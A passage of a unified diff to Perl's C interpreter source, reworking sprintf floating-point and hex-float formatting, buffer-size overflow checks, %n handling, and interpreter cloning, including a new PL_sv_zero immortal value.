-                                 * 28 -> 2  a8 -> a
-                                 * 38 -> 4  b8 -> c
-                                 * 48 -> 4  c8 -> c
-                                 * 58 -> 6  d8 -> e
-                                 * 68 -> 6  e8 -> e
-                                 * 78 -> 8  f8 -> 10 */
-                                if ((v0[precis] & 0x1)) {
-                                    v0[precis]++;
-                                }
-                                overflow = v0[precis] > 0xF;
-                                v0[precis] &= 0xF;
-                            }
-
-                            if (overflow) {
-                                for (v = v0 + precis - 1; v >= v0; v--) {
-                                    (*v)++;
-                                    overflow = *v > 0xF;
-                                    (*v) &= 0xF;
-                                    if (!overflow) {
-                                        break;
-                                    }
-                                }
-                                if (v == v0 - 1 && overflow) {
-                                    /* If the overflow goes all the
-                                     * way to the front, we need to
-                                     * insert 0x1 in front, and adjust
-                                     * the exponent. */
-                                    Move(v0, v0 + 1, vn, char);
-                                    *v0 = 0x1;
-                                    exponent += 4;
-                                }
-                            }
-
-                            /* The new effective "last non zero". */
-                            vlnz = v0 + precis;
-                        }
-                        else {
-                            zerotail =
-                              subnormal ? precis - vn + 1 :
-                              precis - (vlnz - vhex);
-                        }
-                    }
-
-                    v = v0;
-                    *p++ = xdig[*v++];
-
-                    /* If there are non-zero xdigits, the radix
-                     * is output after the first one. */
-                    if (vfnz < vlnz) {
-                      hexradix = TRUE;
-                    }
+                if (i > 0) {
+                    digits = BIT_DIGITS(i);
+                    /* this can't overflow. 'digits' will only be a few
+                     * thousand even for the largest floating-point types.
+                     * And up until now float_need is just some small
+                     * constants plus radix len, which can't be in
+                     * overflow territory unless the radix SV is consuming
+                     * over 1/2 the address space */
+                    assert(float_need < ((STRLEN)~0) - digits);
+                    float_need += digits;
                 }
-                else {
-                    *p++ = '0';
-                    exponent = 0;
-                    zerotail = precis;
-                }
-
-                /* The radix is always output if precis, or if alt. */
-                if (precis > 0 || alt) {
-                  hexradix = TRUE;
-                }
-
-                if (hexradix) {
-#ifndef USE_LOCALE_NUMERIC
-                        *p++ = '.';
+            }
+            else if (UNLIKELY(isALPHA_FOLD_EQ(c, 'a'))) {
+                hexfp = TRUE;
+                if (!has_precis) {
+                    /* %a in the absence of precision may print as many
+                     * digits as needed to represent the entire mantissa
+                     * bit pattern.
+                     * This estimate seriously overshoots in most cases,
+                     * but better the undershooting.  Firstly, all bytes
+                     * of the NV are not mantissa, some of them are
+                     * exponent.  Secondly, for the reasonably common
+                     * long doubles case, the "80-bit extended", two
+                     * or six bytes of the NV are unused. Also, we'll
+                     * still pick up an extra +6 from the default
+                     * precision calculation below. */
+                    STRLEN digits =
+#ifdef LONGDOUBLE_DOUBLEDOUBLE
+                        /* For the "double double", we need more.
+                         * Since each double has their own exponent, the
+                         * doubles may float (haha) rather far from each
+                         * other, and the number of required bits is much
+                         * larger, up to total of DOUBLEDOUBLE_MAXBITS bits.
+                         * See the definition of DOUBLEDOUBLE_MAXBITS.
+                         *
+                         * Need 2 hexdigits for each byte. */
+                        (DOUBLEDOUBLE_MAXBITS/8 + 1) * 2;
 #else
-                        STORE_LC_NUMERIC_SET_TO_NEEDED();
-                        if (PL_numeric_radix_sv && IN_LC(LC_NUMERIC)) {
-                            STRLEN n;
-                            const char* r = SvPV(PL_numeric_radix_sv, n);
-                            Copy(r, p, n, char);
-                            p += n;
-                        }
-                        else {
-                            *p++ = '.';
-                        }
-                        RESTORE_LC_NUMERIC();
+                        NVSIZE * 2; /* 2 hexdigits for each byte */
 #endif
+                    /* see "this can't overflow" comment above */
+                    assert(float_need < ((STRLEN)~0) - digits);
+                    float_need += digits;
                 }
+	    }
+            /* special-case "%.<number>g" if it will fit in ebuf */
+            else if (c == 'g'
+                && precis   /* See earlier comment about buggy Gconvert
+                               when digits, aka precis, is 0  */
+                && has_precis
+                /* check, in manner not involving wrapping, that it will
+                 * fit in ebuf  */
+                && float_need < sizeof(ebuf)
+                && sizeof(ebuf) - float_need > precis
+                && !(width || left || plus || alt)
+                && !fill
+                && intsize != 'q'
+            ) {
+                SNPRINTF_G(fv, ebuf, sizeof(ebuf), precis);
+                elen = strlen(ebuf);
+                eptr = ebuf;
+                goto float_concat;
+	    }
 
-                if (vlnz) {
-                    while (v <= vlnz)
-                        *p++ = xdig[*v++];
-                }
 
-                if (zerotail > 0) {
-                  while (zerotail--) {
-                    *p++ = '0';
-                  }
-                }
+            {
+                STRLEN pr = has_precis ? precis : 6; /* known default */
+                /* this probably can't wrap, since precis is limited
+                 * to 1/4 address space size, but better safe than sorry
+                 */
+                if (float_need >= ((STRLEN)~0) - pr)
+                    croak_memory_wrap();
+                float_need += pr;
+            }
 
-                elen = p - PL_efloatbuf;
-                elen += my_snprintf(p, PL_efloatsize - elen,
-                                    "%c%+d", lower ? 'p' : 'P',
-                                    exponent);
+	    if (float_need < width)
+		float_need = width;
 
-                if (elen < width) {
-                    if (left) {
-                        /* Pad the back with spaces. */
-                        memset(PL_efloatbuf + elen, ' ', width - elen);
-                    }
-                    else if (fill == '0') {
-                        /* Insert the zeros after the "0x" and the
-                         * the potential sign, but before the digits,
-                         * otherwise we end up with "0000xH.HHH...",
-                         * when we want "0x000H.HHH..."  */
-                        STRLEN nzero = width - elen;
-                        char* zerox = PL_efloatbuf + 2;
-                        STRLEN nmove = elen - 2;
-                        if (negative || plus) {
-                            zerox++;
-                            nmove--;
-                        }
-                        Move(zerox, zerox + nzero, nmove, char);
-                        memset(zerox, fill, nzero);
-                    }
-                    else {
-                        /* Move it to the right. */
-                        Move(PL_efloatbuf, PL_efloatbuf + width - elen,
-                             elen, char);
-                        /* Pad the front with spaces. */
-                        memset(PL_efloatbuf, ' ', width - elen);
-                    }
-                    elen = width;
-                }
+	    if (PL_efloatsize <= float_need) {
+                /* PL_efloatbuf should be at least 1 greater than
+                 * float_need to allow a trailing \0 to be returned by
+                 * snprintf().  If we need to grow, overgrow for the
+                 * benefit of future generations */
+                const STRLEN extra = 0x20;
+                if (float_need >= ((STRLEN)~0) - extra)
+                    croak_memory_wrap();
+                float_need += extra;
+		Safefree(PL_efloatbuf);
+		PL_efloatsize = float_need;
+		Newx(PL_efloatbuf, PL_efloatsize, char);
+		PL_efloatbuf[0] = '\0';
+	    }
+
+            if (UNLIKELY(hexfp)) {
+                elen = S_format_hexfp(aTHX_ PL_efloatbuf, PL_efloatsize, c,
+                                nv, fv, has_precis, precis, width,
+                                alt, plus, left, fill);
             }
             else {
-                elen = S_infnan_2pv(nv, PL_efloatbuf, PL_efloatsize, plus);
-                if (elen) {
-                    /* Not affecting infnan output: precision, alt, fill. */
-                    if (elen < width) {
-                        if (left) {
-                            /* Pack the back with spaces. */
-                            memset(PL_efloatbuf + elen, ' ', width - elen);
-                        } else {
-                            /* Move it to the right. */
-                            Move(PL_efloatbuf, PL_efloatbuf + width - elen,
-                                 elen, char);
-                            /* Pad the front with spaces. */
-                            memset(PL_efloatbuf, ' ', width - elen);
-                        }
-                        elen = width;
-                    }
-                }
-            }
-
-            if (elen == 0) {
                 char *ptr = ebuf + sizeof ebuf;
                 *--ptr = '\0';
                 *--ptr = c;
@@ -12873,8 +13070,8 @@
 		    base = width;
 		    do { *--ptr = '0' + (base % 10); } while (base /= 10);
 		}
-		if (fill == '0')
-		    *--ptr = fill;
+		if (fill)
+		    *--ptr = '0';
 		if (left)
 		    *--ptr = '-';
 		if (plus)
@@ -12887,11 +13084,9 @@
 		 * where printf() taints but print($float) doesn't.
 		 * --jhi */
 
-                STORE_LC_NUMERIC_SET_TO_NEEDED();
-
                 /* hopefully the above makes ptr a very constrained format
                  * that is safe to use, even though it's not literal */
-                GCC_DIAG_IGNORE(-Wformat-nonliteral);
+                GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral);
 #ifdef USE_QUADMATH
                 {
                     const char* qfmt = quadmath_format_single(ptr);
@@ -12912,58 +13107,72 @@
                         ? my_snprintf(PL_efloatbuf, PL_efloatsize, ptr, fv)
                         : my_snprintf(PL_efloatbuf, PL_efloatsize, ptr, (double)fv));
 #else
-                elen = my_sprintf(PL_efloatbuf, ptr, fv);
+                elen = my_snprintf(PL_efloatbuf, PL_efloatsize, ptr, fv);
 #endif
-                GCC_DIAG_RESTORE;
+                GCC_DIAG_RESTORE_STMT;
 	    }
 
-	float_converted:
 	    eptr = PL_efloatbuf;
-            assert((IV)elen > 0); /* here zero elen is bad */
 
-#ifdef USE_LOCALE_NUMERIC
-            /* If the decimal point character in the string is UTF-8, make the
-             * output utf8 */
-            if (PL_numeric_radix_sv && SvUTF8(PL_numeric_radix_sv)
-                && instr(eptr, SvPVX_const(PL_numeric_radix_sv)))
-            {
-                is_utf8 = TRUE;
-            }
-#endif
+	  float_concat:
 
-	    break;
+            /* Since floating-point formats do their own formatting and
+             * padding, we skip the main block of code at the end of this
+             * loop which handles appending eptr to sv, and do our own
+             * stripped-down version */
 
+            assert(!zeros);
+            assert(!esignlen);
+            assert(elen);
+            assert(elen >= width);
+
+            S_sv_catpvn_simple(aTHX_ sv, eptr, elen);
+
+            goto done_valid_conversion;
+        }
+
 	    /* SPECIAL */
 
 	case 'n':
-	    if (vectorize)
-		goto unknown;
-	    i = SvCUR(sv) - origlen;
-	    if (args) {
-		switch (intsize) {
-		case 'c':	*(va_arg(*args, char*)) = i; break;
-		case 'h':	*(va_arg(*args, short*)) = i; break;
-		default:	*(va_arg(*args, int*)) = i; break;
-		case 'l':	*(va_arg(*args, long*)) = i; break;
-		case 'V':	*(va_arg(*args, IV*)) = i; break;
-		case 'z':	*(va_arg(*args, SSize_t*)) = i; break;
+            {
+                STRLEN len;
+                /* XXX ideally we should warn if any flags etc have been
+                 * set, e.g. "%-4.5n" */
+                /* XXX if sv was originally non-utf8 with a char in the
+                 * range 0x80-0xff, then if it got upgraded, we should
+                 * calculate char len rather than byte len here */
+                len = SvCUR(sv) - origlen;
+                if (args) {
+                    int i = (len > PERL_INT_MAX) ? PERL_INT_MAX : (int)len;
+
+                    switch (intsize) {
+                    case 'c':  *(va_arg(*args, char*))      = i; break;
+                    case 'h':  *(va_arg(*args, short*))     = i; break;
+                    default:   *(va_arg(*args, int*))       = i; break;
+                    case 'l':  *(va_arg(*args, long*))      = i; break;
+                    case 'V':  *(va_arg(*args, IV*))        = i; break;
+                    case 'z':  *(va_arg(*args, SSize_t*))   = i; break;
 #ifdef HAS_PTRDIFF_T
-		case 't':	*(va_arg(*args, ptrdiff_t*)) = i; break;
+                    case 't':  *(va_arg(*args, ptrdiff_t*)) = i; break;
 #endif
-#ifdef I_STDINT
-		case 'j':	*(va_arg(*args, intmax_t*)) = i; break;
-#endif
-		case 'q':
+                    case 'j':  *(va_arg(*args, PERL_INTMAX_T*)) = i; break;
+                    case 'q':
 #if IVSIZE >= 8
-				*(va_arg(*args, Quad_t*)) = i; break;
+                               *(va_arg(*args, Quad_t*))    = i; break;
 #else
-				goto unknown;
+                               goto unknown;
 #endif
-		}
-	    }
-	    else
-		sv_setuv_mg(argsv, has_utf8 ? (UV)sv_len_utf8(sv) : (UV)i);
-            goto donevalidconversion;
+                    }
+                }
+                else {
+                    if (arg_missing)
+                        Perl_croak_nocontext(
+                            "Missing argument for %%n in %s",
+                                PL_op ? OP_DESC(PL_op) : "sv_vcatpvfn()");
+                    sv_setuv_mg(argsv, has_utf8 ? (UV)sv_len_utf8(sv) : (UV)len);
+                }
+                goto done_valid_conversion;
+            }
 
 	    /* UNKNOWN */
 
@@ -12995,20 +13204,14 @@
 		Perl_warner(aTHX_ packWARN(WARN_PRINTF), "%" SVf, SVfARG(msg)); /* yes, this is reentrant */
 	    }
 
-	    /* output mangled stuff ... */
-	    if (c == '\0')
-		--q;
-	    eptr = p;
-	    elen = q - p;
-
-	    /* ... right here, because formatting flags should not apply */
-	    SvGROW(sv, SvCUR(sv) + elen + 1);
-	    p = SvEND(sv);
-	    Copy(eptr, p, elen, char);
-	    p += elen;
-	    *p = '\0';
-	    SvCUR_set(sv, p - SvPVX_const(sv));
+	    /* mangled format: output the '%', then continue from the
+             * character following that */
+            sv_catpvn_nomg(sv, fmtstart-1, 1);
+            q = fmtstart;
 	    svix = osvix;
+            /* Any "redundant arg" warning from now onwards will probably
+             * just be misleading, so don't bother. */
+            no_redundant_warning = TRUE;
 	    continue;	/* not "break" */
 	}
 
@@ -13031,68 +13234,88 @@
 	    }
 	}
 
-        /* signed value that's wrapped? */
-        assert(elen  <= ((~(STRLEN)0) >> 1));
-	have = esignlen + zeros + elen;
-	if (have < zeros)
-	    croak_memory_wrap();
 
-	need = (have > width ? have : width);
-	gap = need - have;
+        /* append esignbuf, filler, zeros, eptr and dotstr to sv */
 
-	if (need >= (((STRLEN)~0) - SvCUR(sv) - dotstrlen - 1))
-	    croak_memory_wrap();
-	SvGROW(sv, SvCUR(sv) + need + dotstrlen + 1);
-	p = SvEND(sv);
-	if (esignlen && fill == '0') {
-	    int i;
-	    for (i = 0; i < (int)esignlen; i++)
-		*p++ = esignbuf[i];
+        {
+            STRLEN need, have, gap;
+            STRLEN i;
+            char *s;
+
+            /* signed value that's wrapped? */
+            assert(elen  <= ((~(STRLEN)0) >> 1));
+
+            /* if zeros is non-zero, then it represents filler between
+             * elen and precis. So adding elen and zeros together will
+             * always be <= precis, and the addition can never wrap */
+            assert(!zeros || (precis > elen && precis - elen == zeros));
+            have = elen + zeros;
+
+            if (have >= (((STRLEN)~0) - esignlen))
+                croak_memory_wrap();
+            have += esignlen;
+
+            need = (have > width ? have : width);
+            gap = need - have;
+
+            if (need >= (((STRLEN)~0) - (SvCUR(sv) + 1)))
+                croak_memory_wrap();
+            need += (SvCUR(sv) + 1);
+
+            SvGROW(sv, need);
+
+            s = SvEND(sv);
+
+            if (left) {
+                for (i = 0; i < esignlen; i++)
+                    *s++ = esignbuf[i];
+                for (i = zeros; i; i--)
+                    *s++ = '0';
+                Copy(eptr, s, elen, char);
+                s += elen;
+                for (i = gap; i; i--)
+                    *s++ = ' ';
+            }
+            else {
+                if (fill) {
+                    for (i = 0; i < esignlen; i++)
+                        *s++ = esignbuf[i];
+                    assert(!zeros);
+                    zeros = gap;
+                }
+                else {
+                    for (i = gap; i; i--)
+                        *s++ = ' ';
+                    for (i = 0; i < esignlen; i++)
+                        *s++ = esignbuf[i];
+                }
+
+                for (i = zeros; i; i--)
+                    *s++ = '0';
+                Copy(eptr, s, elen, char);
+                s += elen;
+            }
+
+            *s = '\0';
+            SvCUR_set(sv, s - SvPVX_const(sv));
+
+            if (is_utf8)
+                has_utf8 = TRUE;
+            if (has_utf8)
+                SvUTF8_on(sv);
+        }
+
+	if (vectorize && veclen) {
+            /* we append the vector separator separately since %v isn't
+             * very common: don't slow down the general case by adding
+             * dotstrlen to need etc */
+            sv_catpvn_nomg(sv, dotstr, dotstrlen);
+            esignlen = 0;
+            goto vector; /* do next iteration */
 	}
-	if (gap && !left) {
-	    memset(p, fill, gap);
-	    p += gap;
-	}
-	if (esignlen && fill != '0') {
-	    int i;
-	    for (i = 0; i < (int)esignlen; i++)
-		*p++ = esignbuf[i];
-	}
-	if (zeros) {
-	    int i;
-	    for (i = zeros; i; i--)
-		*p++ = '0';
-	}
-	if (elen) {
-	    Copy(eptr, p, elen, char);
-	    p += elen;
-	}
-	if (gap && left) {
-	    memset(p, ' ', gap);
-	    p += gap;
-	}
-	if (vectorize) {
-	    if (veclen) {
-		Copy(dotstr, p, dotstrlen, char);
-		p += dotstrlen;
-	    }
-	    else
-		vectorize = FALSE;		/* done iterating over vecstr */
-	}
-	if (is_utf8)
-	    has_utf8 = TRUE;
-	if (has_utf8)
-	    SvUTF8_on(sv);
-	*p = '\0';
-	SvCUR_set(sv, p - SvPVX_const(sv));
-	if (vectorize) {
-	    esignlen = 0;
-	    goto vector;
-	}
 
-      donevalidconversion:
-        if (used_explicit_ix)
-            no_redundant_warning = TRUE;
+      done_valid_conversion:
+
         if (arg_missing)
             S_warn_vcatpvfn_missing_argument(aTHX);
     }
@@ -13100,7 +13323,7 @@
     /* Now that we've consumed all our printf format arguments (svix)
      * do we have things left on the stack that we didn't use?
      */
-    if (!no_redundant_warning && svmax >= svix + 1 && ckWARN(WARN_REDUNDANT)) {
+    if (!no_redundant_warning && sv_count >= svix + 1 && ckWARN(WARN_REDUNDANT)) {
 	Perl_warner(aTHX_ packWARN(WARN_REDUNDANT), "Redundant argument in %s",
 		PL_op ? OP_DESC(PL_op) : "sv_vcatpvfn()");
     }
@@ -13107,8 +13330,10 @@
 
     SvTAINT(sv);
 
-    RESTORE_LC_NUMERIC();   /* Done outside loop, so don't have to save/restore
-                               each iteration. */
+    if (lc_numeric_set) {
+        RESTORE_LC_NUMERIC();   /* Done outside loop, so don't have to
+                                   save/restore each iteration. */
+    }
 }
 
 /* =========================================================================
@@ -13175,13 +13400,6 @@
     Newxz(parser, 1, yy_parser);
     ptr_table_store(PL_ptr_table, proto, parser);
 
-    /* XXX these not yet duped */
-    parser->old_parser = NULL;
-    parser->stack = NULL;
-    parser->ps = NULL;
-    parser->stack_max1 = 0;
-    /* XXX parser->stack->state = 0; */
-
     /* XXX eventually, just Copy() most of the parser struct ? */
 
     parser->lex_brackets = proto->lex_brackets;
@@ -13223,7 +13441,6 @@
     parser->sig_optelems= proto->sig_optelems;
     parser->sig_slurpy  = proto->sig_slurpy;
     parser->recheck_utf8_validity = proto->recheck_utf8_validity;
-    parser->linestr	= sv_dup_inc(proto->linestr, param);
 
     {
 	char * const ols = SvPVX(proto->linestr);
@@ -13884,6 +14101,7 @@
 	    switch (sv_type) {
 	    default:
 		Perl_croak(aTHX_ "Bizarre SvTYPE [%" IVdf "]", (IV)SvTYPE(sstr));
+                NOT_REACHED; /* NOTREACHED */
 		break;
 
 	    case SVt_PVGV:
@@ -13953,7 +14171,6 @@
 	    case SVt_REGEXP:
 	      duprex:
 		/* FIXME for plugins */
-		dstr->sv_u.svu_rx = ((REGEXP *)dstr)->sv_any;
 		re_dup_guts((REGEXP*) sstr, (REGEXP*) dstr, param);
 		break;
 	    case SVt_PVLV:
@@ -13965,6 +14182,7 @@
 		else
 		    LvTARG(dstr) = sv_dup_inc(LvTARG(dstr), param);
 		if (isREGEXP(sstr)) goto duprex;
+		/* FALLTHROUGH */
 	    case SVt_PVGV:
 		/* non-GP case already handled above */
 		if(isGV_with_GP(sstr)) {
@@ -14018,7 +14236,7 @@
 		    SSize_t items = AvFILLp((const AV *)sstr) + 1;
 
 		    src_ary = AvARRAY((const AV *)sstr);
-		    Newxz(dst_ary, AvMAX((const AV *)sstr)+1, SV*);
+		    Newx(dst_ary, AvMAX((const AV *)sstr)+1, SV*);
 		    ptr_table_store(PL_ptr_table, src_ary, dst_ary);
 		    AvARRAY(MUTABLE_AV(dstr)) = dst_ary;
 		    AvALLOC((const AV *)dstr) = dst_ary;
@@ -14350,7 +14568,7 @@
 	return nsi;
 
     /* create anew and remember what it is */
-    Newxz(nsi, 1, PERL_SI);
+    Newx(nsi, 1, PERL_SI);
     ptr_table_store(PL_ptr_table, si, nsi);
 
     nsi->si_stack	= av_dup_inc(si->si_stack, param);
@@ -14361,6 +14579,9 @@
     nsi->si_prev	= si_dup(si->si_prev, param);
     nsi->si_next	= si_dup(si->si_next, param);
     nsi->si_markoff	= si->si_markoff;
+#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY
+    nsi->si_stack_hwm   = 0;
+#endif
 
     return nsi;
 }
@@ -14442,7 +14663,7 @@
 
     PERL_ARGS_ASSERT_SS_DUP;
 
-    Newxz(nss, max, ANY);
+    Newx(nss, max, ANY);
 
     while (ix > 0) {
 	const UV uv = POPUV(ss,ix);
@@ -14645,8 +14866,8 @@
 	case SAVEt_AELEM:		/* array element */
 	    sv = (const SV *)POPPTR(ss,ix);
 	    TOPPTR(nss,ix) = SvREFCNT_inc(sv_dup_inc(sv, param));
-	    i = POPINT(ss,ix);
-	    TOPINT(nss,ix) = i;
+	    iv = POPIV(ss,ix);
+	    TOPIV(nss,ix) = iv;
 	    av = (const AV *)POPPTR(ss,ix);
 	    TOPPTR(nss,ix) = av_dup_inc(av, param);
 	    break;
@@ -14961,8 +15182,6 @@
     PL_filemode		= proto_perl->Ifilemode;
     PL_lastfd		= proto_perl->Ilastfd;
     PL_oldname		= proto_perl->Ioldname;		/* XXX not quite right */
-    PL_Argv		= NULL;
-    PL_Cmd		= NULL;
     PL_gensym		= proto_perl->Igensym;
 
     PL_laststatval	= proto_perl->Ilaststatval;
@@ -15008,7 +15227,8 @@
 
 #ifdef USE_LOCALE_NUMERIC
     PL_numeric_standard	= proto_perl->Inumeric_standard;
-    PL_numeric_local	= proto_perl->Inumeric_local;
+    PL_numeric_underlying	= proto_perl->Inumeric_underlying;
+    PL_numeric_underlying_is_standard	= proto_perl->Inumeric_underlying_is_standard;
 #endif /* !USE_LOCALE_NUMERIC */
 
     /* Did the locale setup indicate UTF-8? */
@@ -15015,6 +15235,10 @@
     PL_utf8locale	= proto_perl->Iutf8locale;
     PL_in_utf8_CTYPE_locale = proto_perl->Iin_utf8_CTYPE_locale;
     PL_in_utf8_COLLATE_locale = proto_perl->Iin_utf8_COLLATE_locale;
+    my_strlcpy(PL_locale_utf8ness, proto_perl->Ilocale_utf8ness, sizeof(PL_locale_utf8ness));
+#if defined(USE_ITHREADS) && ! defined(USE_THREAD_SAFE_LOCALE)
+    PL_lc_numeric_mutex_depth = 0;
+#endif
     /* Unicode features (see perlrun/-C) */
     PL_unicode		= proto_perl->Iunicode;
 
@@ -15080,7 +15304,6 @@
     PL_Xpv		= (XPV*)NULL;
     my_perl->Ina	= proto_perl->Ina;
 
-    PL_statbuf		= proto_perl->Istatbuf;
     PL_statcache	= proto_perl->Istatcache;
 
 #ifndef NO_TAINT_SUPPORT
@@ -15133,6 +15356,7 @@
     init_constants();
     ptr_table_store(PL_ptr_table, &proto_perl->Isv_undef, &PL_sv_undef);
     ptr_table_store(PL_ptr_table, &proto_perl->Isv_no, &PL_sv_no);
+    ptr_table_store(PL_ptr_table, &proto_perl->Isv_zero, &PL_sv_zero);
     ptr_table_store(PL_ptr_table, &proto_perl->Isv_yes, &PL_sv_yes);
     ptr_table_store(PL_ptr_table, &proto_perl->Ipadname_const,
 		    &PL_padname_const);
@@ -15328,6 +15552,13 @@
 
     PL_subname		= sv_dup_inc(proto_perl->Isubname, param);
 
+#if   defined(USE_POSIX_2008_LOCALE)      \
+ &&   defined(USE_THREAD_SAFE_LOCALE)     \
+ && ! defined(HAS_QUERYLOCALE)
+    for (i = 0; i < (int) C_ARRAY_LENGTH(PL_curlocales); i++) {
+        PL_curlocales[i] = savepv("."); /* An illegal value */
+    }
+#endif
 #ifdef USE_LOCALE_CTYPE
     /* Should we warn if uses locale? */
     PL_warn_locale      = sv_dup_inc(proto_perl->Iwarn_locale, param);
@@ -15340,42 +15571,24 @@
 #ifdef USE_LOCALE_NUMERIC
     PL_numeric_name	= SAVEPV(proto_perl->Inumeric_name);
     PL_numeric_radix_sv	= sv_dup_inc(proto_perl->Inumeric_radix_sv, param);
+
+#  if defined(HAS_POSIX_2008_LOCALE)
+    PL_underlying_numeric_obj = NULL;
+#  endif
 #endif /* !USE_LOCALE_NUMERIC */
 
+    PL_langinfo_buf = NULL;
+    PL_langinfo_bufsize = 0;
+
+    PL_setlocale_buf = NULL;
+    PL_setlocale_bufsize = 0;
+
     /* Unicode inversion lists */
-    PL_Latin1		= sv_dup_inc(proto_perl->ILatin1, param);
-    PL_UpperLatin1	= sv_dup_inc(proto_perl->IUpperLatin1, param);
-    PL_AboveLatin1	= sv_dup_inc(proto_perl->IAboveLatin1, param);
     PL_InBitmap         = sv_dup_inc(proto_perl->IInBitmap, param);
 
-    PL_NonL1NonFinalFold = sv_dup_inc(proto_perl->INonL1NonFinalFold, param);
-    PL_HasMultiCharFold = sv_dup_inc(proto_perl->IHasMultiCharFold, param);
-
     /* utf8 character class swashes */
-    for (i = 0; i < POSIX_SWASH_COUNT; i++) {
-        PL_utf8_swash_ptrs[i] = sv_dup_inc(proto_perl->Iutf8_swash_ptrs[i], param);
-    }
-    for (i = 0; i < POSIX_CC_COUNT; i++) {
-        PL_XPosix_ptrs[i] = sv_dup_inc(proto_perl->IXPosix_ptrs[i], param);
-    }
-    PL_GCB_invlist = sv_dup_inc(proto_perl->IGCB_invlist, param);
-    PL_SB_invlist = sv_dup_inc(proto_perl->ISB_invlist, param);
-    PL_WB_invlist = sv_dup_inc(proto_perl->IWB_invlist, param);
     PL_seen_deprecated_macro = hv_dup_inc(proto_perl->Iseen_deprecated_macro, param);
     PL_utf8_mark	= sv_dup_inc(proto_perl->Iutf8_mark, param);
-    PL_utf8_toupper	= sv_dup_inc(proto_perl->Iutf8_toupper, param);
-    PL_utf8_totitle	= sv_dup_inc(proto_perl->Iutf8_totitle, param);
-    PL_utf8_tolower	= sv_dup_inc(proto_perl->Iutf8_tolower, param);
-    PL_utf8_tofold	= sv_dup_inc(proto_perl->Iutf8_tofold, param);
-    PL_utf8_idstart	= sv_dup_inc(proto_perl->Iutf8_idstart, param);
-    PL_utf8_xidstart	= sv_dup_inc(proto_perl->Iutf8_xidstart, param);
-    PL_utf8_perl_idstart = sv_dup_inc(proto_perl->Iutf8_perl_idstart, param);
-    PL_utf8_perl_idcont = sv_dup_inc(proto_perl->Iutf8_perl_idcont, param);
-    PL_utf8_idcont	= sv_dup_inc(proto_perl->Iutf8_idcont, param);
-    PL_utf8_xidcont	= sv_dup_inc(proto_perl->Iutf8_xidcont, param);
-    PL_utf8_foldable	= sv_dup_inc(proto_perl->Iutf8_foldable, param);
-    PL_utf8_charname_begin = sv_dup_inc(proto_perl->Iutf8_charname_begin, param);
-    PL_utf8_charname_continue = sv_dup_inc(proto_perl->Iutf8_charname_continue, param);
 
     if (proto_perl->Ipsig_pend) {
 	Newxz(PL_psig_pend, SIG_SIZE, int);
@@ -15402,7 +15615,7 @@
 
 	/* next PUSHMARK() sets *(PL_markstack_ptr+1) */
 	i = proto_perl->Imarkstack_max - proto_perl->Imarkstack;
-	Newxz(PL_markstack, i, I32);
+	Newx(PL_markstack, i, I32);
 	PL_markstack_max	= PL_markstack + (proto_perl->Imarkstack_max
 						  - proto_perl->Imarkstack);
 	PL_markstack_ptr	= PL_markstack + (proto_perl->Imarkstack_ptr
@@ -15412,11 +15625,11 @@
 
 	/* next push_scope()/ENTER sets PL_scopestack[PL_scopestack_ix]
 	 * NOTE: unlike the others! */
-	Newxz(PL_scopestack, PL_scopestack_max, I32);
+	Newx(PL_scopestack, PL_scopestack_max, I32);
 	Copy(proto_perl->Iscopestack, PL_scopestack, PL_scopestack_ix, I32);
 
 #ifdef DEBUGGING
-	Newxz(PL_scopestack_name, PL_scopestack_max, const char *);
+	Newx(PL_scopestack_name, PL_scopestack_max, const char *);
 	Copy(proto_perl->Iscopestack_name, PL_scopestack_name, PL_scopestack_ix, const char *);
 #endif
         /* reset stack AV to correct length before its duped via
@@ -15475,7 +15688,6 @@
 
     PL_registered_mros  = hv_dup_inc(proto_perl->Iregistered_mros, param);
     PL_blockhooks	= av_dup_inc(proto_perl->Iblockhooks, param);
-    PL_utf8_foldclosures = hv_dup_inc(proto_perl->Iutf8_foldclosures, param);
 
     /* Call the ->CLONE method, if it exists, for each of the stashes
        identified by sv_dup() above.
@@ -15640,6 +15852,13 @@
 				  |SVp_IOK|SVf_IOK|SVp_NOK|SVf_NOK
 				  |SVp_POK|SVf_POK;
 
+    SvANY(&PL_sv_zero)		= new_XPVNV();
+    SvREFCNT(&PL_sv_zero)	= SvREFCNT_IMMORTAL;
+    SvFLAGS(&PL_sv_zero)	= SVt_PVNV|SVf_READONLY|SVf_PROTECT
+				  |SVp_IOK|SVf_IOK|SVp_NOK|SVf_NOK
+				  |SVp_POK|SVf_POK
+                                  |SVs_PADTMP;
+
     SvPV_set(&PL_sv_no, (char*)PL_No);
     SvCUR_set(&PL_sv_no, 0);
     SvLEN_set(&PL_sv_no, 0);
@@ -15652,7 +15871,33 @@
     SvIV_set(&PL_sv_yes, 1);
     SvNV_set(&PL_sv_yes, 1);
 
+    SvPV_set(&PL_sv_zero, (char*)PL_Zero);
+    SvCUR_set(&PL_sv_zero, 1);
+    SvLEN_set(&PL_sv_zero, 0);
+    SvIV_set(&PL_sv_zero, 0);
+    SvNV_set(&PL_sv_zero, 0);
+
     PadnamePV(&PL_padname_const) = (char *)PL_No;
+
+    assert(SvIMMORTAL_INTERP(&PL_sv_yes));
+    assert(SvIMMORTAL_INTERP(&PL_sv_undef));
+    assert(SvIMMORTAL_INTERP(&PL_sv_no));
+    assert(SvIMMORTAL_INTERP(&PL_sv_zero));
+
+    assert(SvIMMORTAL(&PL_sv_yes));
+    assert(SvIMMORTAL(&PL_sv_undef));
+    assert(SvIMMORTAL(&PL_sv_no));
+    assert(SvIMMORTAL(&PL_sv_zero));
+
+    assert( SvIMMORTAL_TRUE(&PL_sv_yes));
+    assert(!SvIMMORTAL_TRUE(&PL_sv_undef));
+    assert(!SvIMMORTAL_TRUE(&PL_sv_no));
+    assert(!SvIMMORTAL_TRUE(&PL_sv_zero));
+
+    assert( SvTRUE_nomg_NN(&PL_sv_yes));
+    assert(!SvTRUE_nomg_NN(&PL_sv_undef));
+    assert(!SvTRUE_nomg_NN(&PL_sv_no));
+    assert(!SvTRUE_nomg_NN(&PL_sv_zero));
 }
 
 /*
@@ -16554,6 +16799,7 @@
 	/* def-ness of rval pos() is independent of the def-ness of its arg */
 	if ( !(obase->op_flags & OPf_MOD))
 	    break;
+        /* FALLTHROUGH */
 
     case OP_SCHOMP:
     case OP_CHOMP:
@@ -16629,6 +16875,9 @@
     if (PL_op) {
 	desc = PL_op->op_type == OP_STRINGIFY && PL_op->op_folded
 		? "join or string"
+                : PL_op->op_type == OP_MULTICONCAT
+                    && (PL_op->op_private & OPpMULTICONCAT_FAKE)
+                ? "sprintf"
